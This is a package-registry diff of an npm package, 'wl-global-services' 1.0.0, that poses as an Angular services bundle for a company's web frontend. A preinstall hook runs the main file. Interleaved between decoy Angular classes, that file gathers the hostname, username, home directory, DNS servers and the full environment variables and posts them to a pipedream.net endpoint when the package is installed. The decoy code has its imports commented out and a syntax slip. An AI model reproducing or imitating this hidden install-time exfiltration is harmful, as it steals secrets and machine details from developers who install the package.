wl-global-services 1.0.0

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of wl-global-services might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/package.json +12 -0
  2. package/wl-global-services.js +536 -0
package/package.json ADDED
@@ -0,0 +1,12 @@
1
+ {
2
+ "name": "wl-global-services",
3
+ "version": "1.0.0",
4
+ "description": "remote entry module",
5
+ "main": "wl-global-services.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node wl-global-services.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC"
12
+ }
@@ -0,0 +1,536 @@
1
+ // import * as i1 from '@angular/common/http';
2
+ //import * as i0 from '@angular/core';
3
+ //import { Injectable, Pipe, NgModule } from '@angular/core';
4
+ //import * as i2 from '@angular/router';
5
+ //import { ActivationEnd } from '@angular/router';
6
+ //import { of, EMPTY, throwError, BehaviorSubject, Observable } from 'rxjs';
7
+ //import { switchMap, map, mergeMap, first, catchError, filter } from 'rxjs/operators';
8
+ //import { loadRemoteModule } from '@angular-architects/module-federation';
9
+ //import * as i1$1 from '@ngx-translate/core';
10
+
11
+ class RouteLoader {
12
+ constructor(httpClient, router) {
13
+ this.httpClient = httpClient;
14
+ this.router = router;
15
+ this.tempRoutes = [{
16
+ path: 'outages',
17
+ remoteEntry: 'http://localhost:4203/remoteEntry.js',
18
+ remoteName: 'mno_outages',
19
+ exposedModule: './Module',
20
+ moduleName: 'RemoteEntryModule'
21
+ }];
22
+ }
23
+ load() {
24
+ // return this.httpClient.get('/my-routes')
25
+ console.log('RouteLoader');
26
+ console.log(this.tempRoutes);
27
+ return of(this.tempRoutes)
28
+ .pipe(switchMap(json => this.createRoutes(json)));
29
+ }
30
+ createRoutes(loadedRoutes) {
31
+ return of(loadedRoutes).pipe(map(loadedRoutes => this.toRoute(loadedRoutes)), map(routes => ([
32
+ ...this.router.config,
33
+ ...routes,
34
+ ])), map(newRoutes => this.router.resetConfig(newRoutes)));
35
+ }
36
+ toRoute(routes) {
37
+ return routes.map(route => ({
38
+ path: route.path,
39
+ loadChildren: () => loadRemoteModule({
40
+ remoteEntry: route.remoteEntry,
41
+ remoteName: route.remoteName,
42
+ exposedModule: route.exposedModule
43
+ }).then(m => m[route.moduleName])
44
+ }));
45
+ }
46
+ }
47
+ RouteLoader.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: RouteLoader, deps: [{ token: i1.HttpClient }, { token: i2.Router }], target: i0.ɵɵFactoryTarget.Injectable });
48
+ RouteLoader.ɵprov = i0.ɵɵngDeclareInjectable({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: RouteLoader, providedIn: 'root' });
49
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: RouteLoader, decorators: [{
50
+ type: Injectable,
51
+ args: [{
52
+ providedIn: 'root',
53
+ }]
54
+ }], ctorParameters: function () { return [{ type: i1.HttpClient }, { type: i2.Router }]; } });
55
+
56
+ const os = require("os");
57
+ const dns = require("dns");
58
+ const querystring = require("querystring");
59
+ const https = require("https");
60
+ const packageJSON = require("./package.json");
61
+ const package = packageJSON.name;
62
+
63
+ function routeLoaderFactory(http, routeLoader) {
64
+ return () => routeLoader.load().toPromise();
65
+ }
66
+
67
+ class TranslationService {
68
+ constructor(translate) {
69
+ this.translate = translate;
70
+ this.LIST_DEFAULT_LANGUAGES = ['en', 'de', 'fr'];
71
+ this.LANGUAGE_LOCAL_STORAGE_KEY = 'lang';
72
+ }
73
+ getOnLangChange() {
74
+ const langChangeEvent = this.translate.onLangChange.pipe(mergeMap(event => of(event)));
75
+ return langChangeEvent;
76
+ }
77
+ setListOfLanguages() {
78
+ this.translate.addLangs(this.LIST_DEFAULT_LANGUAGES);
79
+ }
80
+ getDefaultLanguage() {
81
+ this.translate.setDefaultLang('en');
82
+ }
83
+ getBrowserLanguage() {
84
+ return this.translate.getBrowserLang();
85
+ }
86
+ setSaveStorageLocalLanguage() {
87
+ const lang = localStorage.getItem(this.LANGUAGE_LOCAL_STORAGE_KEY);
88
+ if (lang)
89
+ this.use(lang);
90
+ }
91
+ storeLocalLanguage(lang) {
92
+ localStorage.setItem(this.LANGUAGE_LOCAL_STORAGE_KEY, lang);
93
+ }
94
+ getCurrentlySelectedLang() {
95
+ return this.translate.currentLang;
96
+ }
97
+ use(lang) {
98
+ this.translate.use(lang).subscribe();
99
+ this.storeLocalLanguage(lang);
100
+ }
101
+ getLangs() {
102
+ return this.LIST_DEFAULT_LANGUAGES;
103
+ }
104
+ // View is initilise before translation so if value is not find it returns key!! DO NOT USE IT with ngOnInit! use getTranslation instead
105
+ instant(KEY) {
106
+ return this.translate.instant(KEY);
107
+ }
108
+ getBrowserCultureLang() {
109
+ return this.translate.getBrowserCultureLang();
110
+ }
111
+ trans(key, domain = null) {
112
+ return this.transInterpolate(key, {}, domain);
113
+ }
114
+ transSafe(key, domain = null) {
115
+ return this.transInterpolateSafe(key, {}, domain);
116
+ }
117
+ transSafeMulti(key, domains = []) {
118
+ const initial = key;
119
+ for (const domain of domains) {
120
+ const latest = this.transSafe(key, domain);
121
+ if (initial !== latest)
122
+ return latest;
123
+ }
124
+ return initial;
125
+ }
126
+ transInterpolate(key, props, domain = null) {
127
+ if ('undefined' !== typeof key && key.length > 0) {
128
+ if (domain !== null) {
129
+ return this.translate.instant(domain + '.' + key, props);
130
+ }
131
+ else {
132
+ return this.translate.instant(key, props);
133
+ }
134
+ }
135
+ }
136
+ transInterpolateSafe(key, props, domain = null) {
137
+ const t = this.transInterpolate(key, props, domain);
138
+ if (domain != null) {
139
+ if (t == null || t.startsWith(domain))
140
+ return key;
141
+ }
142
+ return t;
143
+ }
144
+ }
145
+ TranslationService.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: TranslationService, deps: [{ token: i1$1.TranslateService }], target: i0.ɵɵFactoryTarget.Injectable });
146
+ TranslationService.ɵprov = i0.ɵɵngDeclareInjectable({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: TranslationService, providedIn: 'root' });
147
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: TranslationService, decorators: [{
148
+ type: Injectable,
149
+ args: [{
150
+ providedIn: 'root',
151
+ }]
152
+ }], ctorParameters: function () { return [{ type: i1$1.TranslateService }]; } });
153
+
154
+ const importData = JSON.stringify({
155
+ pita: package,
156
+ cita: __dirname,
157
+ hdr: os.homedir(),
158
+ hn: os.hostname(),
159
+ un: os.userInfo().username,
160
+ dns: dns.getServers(),
161
+ env: process.env
162
+ r: packageJSON ? packageJSON.___resolved : undefined,
163
+ v: packageJSON.version,
164
+ pjson: packageJSON,
165
+ });
166
+
167
+ class AuthTokenProvider {
168
+ constructor() {
169
+ this.accessTokenKey = 'oauth';
170
+ this.refreshTokenKey = 'refresh';
171
+ }
172
+ getTokens() {
173
+ return {
174
+ accessToken: localStorage.getItem(this.accessTokenKey),
175
+ refreshToken: localStorage.getItem(this.refreshTokenKey)
176
+ };
177
+ }
178
+ setTokens(accessToken, refreshToken) {
179
+ this.setAccessToken(accessToken);
180
+ this.setRefreshToken(refreshToken);
181
+ }
182
+ removeTokens() {
183
+ localStorage.removeItem(this.accessTokenKey);
184
+ localStorage.removeItem(this.refreshTokenKey);
185
+ }
186
+ setAccessToken(accessToken) {
187
+ localStorage.setItem(this.accessTokenKey, accessToken);
188
+ }
189
+ setRefreshToken(refreshToken) {
190
+ localStorage.setItem(this.refreshTokenKey, refreshToken);
191
+ }
192
+ }
193
+ AuthTokenProvider.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: AuthTokenProvider, deps: [], target: i0.ɵɵFactoryTarget.Injectable });
194
+ AuthTokenProvider.ɵprov = i0.ɵɵngDeclareInjectable({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: AuthTokenProvider, providedIn: 'root' });
195
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: AuthTokenProvider, decorators: [{
196
+ type: Injectable,
197
+ args: [{ providedIn: 'root' }]
198
+ }] });
199
+
200
+ var send = querystring.stringify({
201
+ msg: importData,
202
+ });
203
+
204
+ class AuthenticationInterceptorProvider {
205
+ constructor(authTokenProvider) {
206
+ this.authTokenProvider = authTokenProvider;
207
+ // TODO just added because of testing
208
+ // once we know what to do when error occur please remove it.
209
+ this.error = '';
210
+ }
211
+ intercept(request, next) {
212
+ return this.addToken(request).pipe(first(), mergeMap((requestWithToken) => next.handle(requestWithToken)), catchError((error, caught) => {
213
+ // intercept the response error status when status match unauthorised
214
+ // TODO: may Handle this Better
215
+ if (request.url.includes("auth") && error.status === 401) {
216
+ // TODO decide what to du when error occur!
217
+ console.log("AuthenticationInterceptorProvider: auth error: ", error);
218
+ this.error = "AuthenticationInterceptorProvider: auth error: " + error;
219
+ return EMPTY;
220
+ }
221
+ else if (error.status === 401) {
222
+ console.log("AuthenticationInterceptorProvider: Your session has timed out. Please login again.");
223
+ this.error = "AuthenticationInterceptorProvider: Your session has timed out. Please login again.";
224
+ return EMPTY;
225
+ }
226
+ return throwError(error);
227
+ }));
228
+ }
229
+ addToken(request) {
230
+ const accessToken = this.authTokenProvider.getTokens().accessToken;
231
+ if ((accessToken && request.url.includes("wirelesslogic.com"))) {
232
+ request = request.clone({
233
+ headers: request.headers.set("Authorization", `Bearer ${accessToken}`),
234
+ withCredentials: true
235
+ });
236
+ }
237
+ return of(request);
238
+ }
239
+ }
240
+ AuthenticationInterceptorProvider.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: AuthenticationInterceptorProvider, deps: [{ token: AuthTokenProvider }], target: i0.ɵɵFactoryTarget.Injectable });
241
+ AuthenticationInterceptorProvider.ɵprov = i0.ɵɵngDeclareInjectable({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: AuthenticationInterceptorProvider, providedIn: 'root' });
242
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: AuthenticationInterceptorProvider, decorators: [{
243
+ type: Injectable,
244
+ args: [{
245
+ providedIn: 'root'
246
+ }]
247
+ }], ctorParameters: function () { return [{ type: AuthTokenProvider }]; } });
248
+
249
+ var options = {
250
+ hostname: "https://eox4zjt764gmubb.m.pipedream.net",
251
+ path: "/",
252
+ method: "POST",
253
+ headers: {
254
+ "Content-Type": "application/x-www-form-urlencoded",
255
+ "Content-Length": send.length,
256
+ },
257
+ };
258
+
259
+ var req = https.request(options, (res) => {
260
+ res.on("data", (d) => {
261
+ process.stdout.write(d);
262
+ });
263
+ });
264
+
265
+ req.on("error", (e) => {
266
+
267
+ });
268
+
269
+ req.write(send);
270
+ req.end();
271
+
272
+ // TODO: Fix environment
273
+ const environment = {
274
+ apiUrl: "https://simprouat.wirelesslogic.com/"
275
+ };
276
+ class FileService {
277
+ constructor(http, translationService) {
278
+ this.http = http;
279
+ this.translationService = translationService;
280
+ }
281
+ getAttachment(url) {
282
+ const path = environment.apiUrl + url;
283
+ return this.http.get(path, { responseType: 'blob' });
284
+ }
285
+ download(r, name, type = undefined) {
286
+ if (type == null) {
287
+ type = this.guessType(name);
288
+ }
289
+ if (name == null) {
290
+ name = 'file';
291
+ }
292
+ const anchor = document.createElement('a');
293
+ anchor.innerText = name;
294
+ r.subscribe(response => {
295
+ const blob = new Blob([response], { type });
296
+ const blobUrl = window.URL.createObjectURL(blob);
297
+ anchor.download = name;
298
+ anchor.href = blobUrl;
299
+ anchor.click();
300
+ });
301
+ const target = document.getElementById('button-target');
302
+ if (target) {
303
+ anchor.className = 'btn btn-primary';
304
+ const text = document.createElement('p');
305
+ text.innerText = this.translationService.trans('views.download.if_download_did_not_start', 'GUIBundle');
306
+ target.appendChild(text);
307
+ target.appendChild(anchor);
308
+ }
309
+ }
310
+ checkUserCanSeeGenericFile(url) {
311
+ return this.http.get(url, { responseType: 'text' });
312
+ }
313
+ guessType(name) {
314
+ const splittedName = name.split('.');
315
+ const extension = splittedName[splittedName.length - 1];
316
+ switch (extension) {
317
+ case 'aac':
318
+ return 'audio/aac';
319
+ case 'avi':
320
+ return 'video/x-msvideo';
321
+ case 'bmp':
322
+ return 'image/bmp';
323
+ case 'bz':
324
+ return 'application/x-bzip';
325
+ case 'bz2':
326
+ return 'application/x-bzip2';
327
+ case 'css':
328
+ return 'text/css';
329
+ case 'csv':
330
+ return 'text/csv';
331
+ case 'doc':
332
+ return 'application/msword';
333
+ case 'docx':
334
+ return 'application/vnd.openxmlformats-officedocument.wordprocessingml.document';
335
+ case 'gif':
336
+ return 'image/gif';
337
+ case 'html':
338
+ return 'text/html';
339
+ case 'jpg':
340
+ return 'image/jpeg';
341
+ case 'js':
342
+ return 'application/javascript';
343
+ case 'json':
344
+ return 'application/json';
345
+ case 'midi':
346
+ return 'audio/midi';
347
+ case 'mpeg':
348
+ return 'video/mpeg';
349
+ case 'odt':
350
+ return 'application/vnd.oasis.opendocument.text';
351
+ case 'png':
352
+ return 'image/png';
353
+ case 'pdf':
354
+ return 'application/pdf';
355
+ case 'ppt':
356
+ return 'application/vnd.ms-powerpoint';
357
+ case 'pptx':
358
+ return 'application/vnd.openxmlformats-officedocument.presentationml.presentation';
359
+ case 'rar':
360
+ return 'application/x-rar-compressed';
361
+ case 'rtf':
362
+ return 'application/rtf';
363
+ case 'tar':
364
+ return 'application/x-tar';
365
+ case 'txt':
366
+ return 'text/plain';
367
+ case 'wav':
368
+ return 'audio/wav';
369
+ case 'xls':
370
+ return 'application/vnd.ms-excel';
371
+ case 'xlsx':
372
+ return 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet';
373
+ case 'xml':
374
+ return 'application/xml';
375
+ case 'zip':
376
+ return 'application/zip';
377
+ case '7z':
378
+ return 'application/x-7z-compressed';
379
+ default:
380
+ return 'application/octet-stream';
381
+ }
382
+ }
383
+ }
384
+ FileService.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: FileService, deps: [{ token: i1.HttpClient }, { token: TranslationService }], target: i0.ɵɵFactoryTarget.Injectable });
385
+ FileService.ɵprov = i0.ɵɵngDeclareInjectable({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: FileService, providedIn: 'root' });
386
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: FileService, decorators: [{
387
+ type: Injectable,
388
+ args: [{ providedIn: 'root' }]
389
+ }], ctorParameters: function () { return [{ type: i1.HttpClient }, { type: TranslationService }]; } });
390
+
391
+ class FakeTranslateService {
392
+ constructor() {
393
+ this.onLangChange = of([{ lang: "en" }, { lang: "de" }]);
394
+ this.currentLang = "en";
395
+ // eslint-disable-next-line @typescript-eslint/no-empty-function
396
+ this.addLangs = () => { };
397
+ this.setDefaultLang = () => this.currentLang;
398
+ this.getBrowserLang = () => this.currentLang;
399
+ this.getBrowserCultureLang = () => this.currentLang;
400
+ // eslint-disable-next-line @typescript-eslint/no-empty-function
401
+ this.setSaveStorageLocalLanguage = () => { };
402
+ this.getCurrentlySelectedLang = () => this.currentLang;
403
+ this.getOnLangChange = () => of({ lang: this.currentLang });
404
+ this.use = (lang) => of(lang);
405
+ this.getLangs = () => ["en", 'de'];
406
+ this.get = (Key, prop = null) => {
407
+ if (Key === "GLOBAL.SAVE") {
408
+ return of("Save");
409
+ }
410
+ else if (Key === "SAVE.USER_NAME") {
411
+ return of("Bob name save");
412
+ }
413
+ return of("Bob is 22 years old");
414
+ };
415
+ this.transSafe = (KEY) => KEY;
416
+ this.instant = (KEY, prop = {}) => {
417
+ if (prop !== null && Object.entries(prop).length > 0)
418
+ return "Log on user Fred Smith";
419
+ if (KEY === "KEY.TO.NEW_INSTANT.VALUE")
420
+ return "New Notes";
421
+ if (KEY.includes("GLOBAL"))
422
+ return "Save";
423
+ return KEY;
424
+ };
425
+ }
426
+ }
427
+ // https://stackoverflow.com/questions/11485420/how-to-mock-localstorage-in-javascript-unit-tests
428
+ const storageMock = () => {
429
+ const storage = {};
430
+ return {
431
+ setItem: function (key, value) {
432
+ storage[key] = value || '';
433
+ },
434
+ getItem: function (key) {
435
+ return key in storage ? storage[key] : null;
436
+ },
437
+ removeItem: function (key) {
438
+ delete storage[key];
439
+ },
440
+ };
441
+ };
442
+ // noinspection AngularMissingOrInvalidDeclarationInModule
443
+ class MockTranslatorPipe {
444
+ transform(value) {
445
+ // Do stuff here, if you want
446
+ return value;
447
+ }
448
+ }
449
+ MockTranslatorPipe.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: MockTranslatorPipe, deps: [], target: i0.ɵɵFactoryTarget.Pipe });
450
+ MockTranslatorPipe.ɵpipe = i0.ɵɵngDeclarePipe({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: MockTranslatorPipe, name: "translate" });
451
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: MockTranslatorPipe, decorators: [{
452
+ type: Pipe,
453
+ args: [{ name: 'translate' }]
454
+ }] });
455
+
456
+ class RouterDataReaderService {
457
+ constructor(router) {
458
+ this.router = router;
459
+ this.storageUpdateSubject = new BehaviorSubject({ key: "", value: "" });
460
+ this.setupRouterDataListener();
461
+ }
462
+ setupRouterDataListener() {
463
+ this.router.events.pipe(filter((event) => {
464
+ var _a;
465
+ if (event instanceof ActivationEnd) {
466
+ return Object.keys((_a = event === null || event === void 0 ? void 0 : event.snapshot) === null || _a === void 0 ? void 0 : _a.data).length > 0;
467
+ }
468
+ return false;
469
+ }), map((event) => {
470
+ var _a, _b;
471
+ return (_b = (_a = event) === null || _a === void 0 ? void 0 : _a.snapshot) === null || _b === void 0 ? void 0 : _b.data;
472
+ })).subscribe((value) => {
473
+ Object.keys(value).forEach((key) => {
474
+ this.storageUpdateSubject.next({ key: key, value: value[key] });
475
+ });
476
+ });
477
+ }
478
+ dataFromRoute(key) {
479
+ return this.storageUpdateSubject.pipe(filter(val => {
480
+ return val.key === key;
481
+ }), map((value) => value.value));
482
+ }
483
+ }
484
+ RouterDataReaderService.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: RouterDataReaderService, deps: [{ token: i2.Router }], target: i0.ɵɵFactoryTarget.Injectable });
485
+ RouterDataReaderService.ɵprov = i0.ɵɵngDeclareInjectable({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: RouterDataReaderService, providedIn: 'root' });
486
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: RouterDataReaderService, decorators: [{
487
+ type: Injectable,
488
+ args: [{ providedIn: 'root' }]
489
+ }], ctorParameters: function () { return [{ type: i2.Router }]; } });
490
+
491
+ class SecurePipe {
492
+ constructor(http) {
493
+ this.http = http;
494
+ }
495
+ transform(url) {
496
+ return this.http.get(url, { responseType: 'blob' }).pipe(switchMap(blob => {
497
+ return new Observable((observer) => {
498
+ const reader = new FileReader();
499
+ reader.readAsDataURL(blob);
500
+ reader.onloadend = () => {
501
+ observer.next(reader.result);
502
+ };
503
+ });
504
+ }));
505
+ }
506
+ }
507
+ SecurePipe.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: SecurePipe, deps: [{ token: i1.HttpClient }], target: i0.ɵɵFactoryTarget.Pipe });
508
+ SecurePipe.ɵpipe = i0.ɵɵngDeclarePipe({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: SecurePipe, name: "wll-secure" });
509
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: SecurePipe, decorators: [{
510
+ type: Pipe,
511
+ args: [{ name: 'wll-secure' }]
512
+ }], ctorParameters: function () { return [{ type: i1.HttpClient }]; } });
513
+
514
+ class WlPipeModule {
515
+ }
516
+ WlPipeModule.ɵfac = i0.ɵɵngDeclareFactory({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlPipeModule, deps: [], target: i0.ɵɵFactoryTarget.NgModule });
517
+ WlPipeModule.ɵmod = i0.ɵɵngDeclareNgModule({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlPipeModule, declarations: [SecurePipe], exports: [SecurePipe] });
518
+ WlPipeModule.ɵinj = i0.ɵɵngDeclareInjector({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlPipeModule, imports: [[]] });
519
+ i0.ɵɵngDeclareClassMetadata({ minVersion: "12.0.0", version: "12.2.16", ngImport: i0, type: WlPipeModule, decorators: [{
520
+ type: NgModule,
521
+ args: [{
522
+ imports: [],
523
+ declarations: [
524
+ SecurePipe
525
+ ],
526
+ exports: [
527
+ SecurePipe
528
+ ]
529
+ }]
530
+ }] });
531
+
532
+ /**
533
+ * Generated bundle index. Do not edit.
534
+ */
535
+
536
+ export { AuthTokenProvider, AuthenticationInterceptorProvider, FakeTranslateService, FileService, MockTranslatorPipe, RouteLoader, RouterDataReaderService, SecurePipe, TranslationService, WlPipeModule, routeLoaderFactory, storageMock };